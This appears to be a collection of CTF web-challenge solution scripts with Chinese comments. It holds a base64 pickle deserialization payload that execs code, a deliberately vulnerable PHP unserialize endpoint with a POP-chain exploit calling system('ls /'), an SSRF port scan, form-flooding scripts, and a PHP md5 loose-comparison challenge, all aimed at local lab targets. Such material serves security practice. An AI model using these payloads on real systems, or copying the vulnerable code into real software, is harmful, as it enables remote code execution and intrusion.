WEB

import base64
import pickle

class Test:
    def __reduce__(self):
        return (exec, ("import os; store.create_pet(os.getenv('FLAG'), 'flag');",))

if __name__ == "__main__":
    print(base64.b64encode(pickle.dumps(Test())).decode("utf-8"))

# gASVUwAAAAAAAACMCGJ1aWx0aW5zlIwEZXhlY5STlIw3aW1wb3J0IG9zOyBzdG9yZS5jcmVhdGVfcGV0KG9zLmdldGVudignRkxBRycpLCAnZmxhZycpO5SFlFKULg==

<script>
    function login() {
        $.ajax({
            type: "post",
            dataType: "text",
            url: "login.php",
            data: $('#form').serialize(),
            success: function (result) {
                console.log(result)
                $('#span_result').html(result)
            },
            error: function (result) {
                console.log(result)
                $('#span_result').html(result)
            },
        });
    }
</script>

<?php

class A {
    // 注意 private 属性的序列化哦
    private $evil;

    // 如何赋值呢
    private $a;

    function __destruct() {
        $s = $this->a;
        $s($this->evil);
    }
}

class B {
    private $b;

    function __invoke($c) {
        $s = $this->b;
        $s($c);
    }
}


 if(isset($_GET['data']))
 {
     $a = unserialize($_GET['data']);
 }
 else {
     highlight_file(__FILE__);
 }

<?php

class A
{
    private $evil;
    private $a;
    public function __construct($evil, $a)
    {
        $this->evil = $evil;
        $this->a = $a;
    }
}

class B
{
    private $b;
    public function __construct($b)
    {
        $this->b = $b;
    }
}

$bInstance = new B("system");
$aInstance = new A("ls /", $bInstance);

$serializedString = serialize($aInstance);

echo $serializedString;

<?php

class class003
{
    public $mystr = "phpinfo();";
}

class class002
{
    private $sec;
    function __construct()
    {
        $this->sec = new class003();
    }
}

class class001
{
    public $pay10ad = "dangerous";
    public $a;

    function __construct()
    {
        $this->a = new class002();
    }
}
class class000
{
    private $pay10ad = 1;
    protected $what;

    function __construct()
    {
        $this->what = new class001();
    }
}
$obj0 = new class000();
$serializedString = serialize($obj0); // 序列化class000对象  
echo $serializedString;

import requests

base_url = "http://127.0.0.1:55844/image?url=http://localhost:{}/image/flag.jpg"

for port in range(5001, 6001):
    print(f"尝试端口: {port}")
    try:
        url = base_url.format(port)
        response = requests.get(url, timeout=5)
        if response.status_code == 200:
            print(f"成功访问的端口是: {port}")
            break
    except requests.RequestException:
        continue

else:
    print("未找到可成功访问的端口")

import aiohttp
import asyncio
import json

BASE_URL = "http://127.0.0.1:53419"


async def submit_forms(count):
    async with aiohttp.ClientSession() as session:
        for i in range(count):
            form_data = {
                "nickname": f"User{i}",
                "user_gender": "other",
                "target": f"Target{i}",
                "target_gender": "other",
                "message": f"This is confession number {i + 1}",
                "anonymous": "false",
            }

            try:
                await session.options(f"{BASE_URL}/questionnaire")
                async with session.post(
                    f"{BASE_URL}/questionnaire", json=form_data
                ) as response:
                    result = await response.json()
                    if result["success"]:
                        print(f"Form {i + 1} submitted successfully")
                        async with session.get(
                            f"{BASE_URL}/confession_count"
                        ) as count_response:
                            data = await count_response.json()
                        print(f"Count: {data['count']}")
                        print(f"Flag: {data['flag']}")
                        print(f"Qixi_flag: {data['Qixi_flag']}")
                        print("-------------------")
                    else:
                        print(f"Form {i + 1} submission failed")

            except Exception as error:
                print(f"Error submitting form {i + 1}:", str(error))
            await asyncio.sleep(0.01)

asyncio.run(submit_forms(302))

async function submitForms(count) {
    for (let i = 0; i < count; i++) {
        // 重置localStorage
        localStorage.removeItem('confessionSubmitted');

        // 准备表单数据
        const formData = {
            nickname: `User${i}`,
            user_gender: 'other',
            target: `Target${i}`,
            target_gender: 'other',
            message: `This is confession number ${i + 1}`,
            anonymous: 'false'
        };

        try {
            // 发送OPTIONS请求
            await fetch('/questionnaire', { method: 'OPTIONS' });

            // 提交表单
            const response = await fetch('/questionnaire', {
                method: 'POST',
                headers: { 'Content-Type': 'application/json' },
                body: JSON.stringify(formData)
            });

            const result = await response.json();

            if (result.success) {
                console.log(`Form ${i + 1} submitted successfully`);

                // 获取更新后的数据
                const countResponse = await fetch('/confession_count');
                const data = await countResponse.json();

                console.log(`Count: ${data.count}`);
                console.log(`Flag: ${data.flag}`);
                console.log(`Qixi_flag: ${data.Qixi_flag}`);
                console.log('-------------------');
            } else {
                console.error(`Form ${i + 1} submission failed`);
            }
        } catch (error) {
            console.error(`Error submitting form ${i + 1}:`, error);
        }

        // 添加一个小延迟，以避免可能的速率限制
        await new Promise(resolve => setTimeout(resolve, 10));
    }
}

// 执行302次提交
submitForms(302);

<?php  
highlight_file('final1l1l_challenge.php');  
error_reporting(0);  
include 'flag.php';  

$a = $_GET['a'];  
$b = $_POST['b'];  
if (isset($a) && isset($b)) {  
    if (!is_numeric($a) && !is_numeric($b)) {  
        if ($a == 0 && md5($a) == $b[$a]) {  
            echo $flag;  
        } else {  
            die('noooooooooooo');  
        }  
    } else {  
        die( 'Notice the param type!');  
    }  
} else {  
    die( 'Where is your param?');  
}

import re
import requests

request = requests.session()
url = "http://127.0.0.1:53246/"
begin = {"player": "ddd", "direct": "弟子明白"}

pattern = re.compile('<h1 id="status">\s*(.+?)\s*</h1>')

# 方向映射
directions_map = {
    "1": "北方",
    "2": "东北方",
    "3": "东方",
    "4": "东南方",
    "5": "南方",
    "6": "西南方",
    "7": "西方",
    "8": "西北方",
}


def format_directions(nums):
    if len(nums) == 1:
        # 列表中只有一个数字，直接返回方向名称
        direction = directions_map.get(nums[0], "??")
        return f"{direction}"

    formatted_directions = []
    for num in nums:
        direction = directions_map.get(num, "??")
        formatted_directions.append(f"{direction}一个")

    return "，".join(formatted_directions)


for i in range(6):
    if i == 0:
        response = request.post(url=url, data=begin)
        print(response.text)
    else:
        direct_str = format_directions(nums)
        print(direct_str, "direct")
        response = request.post(url=url, data={"player": "ddd", "direct": direct_str})

    num = re.findall(pattern, response.text)[0]
    nums = re.findall(r"\d+", num)  # 直接使用提取出来的顺序
    directions = [directions_map.get(n, "??") for n in nums]
    print(f"方向数字: {nums}")
    print(f"对应方位: {directions}\n")

print(response.text)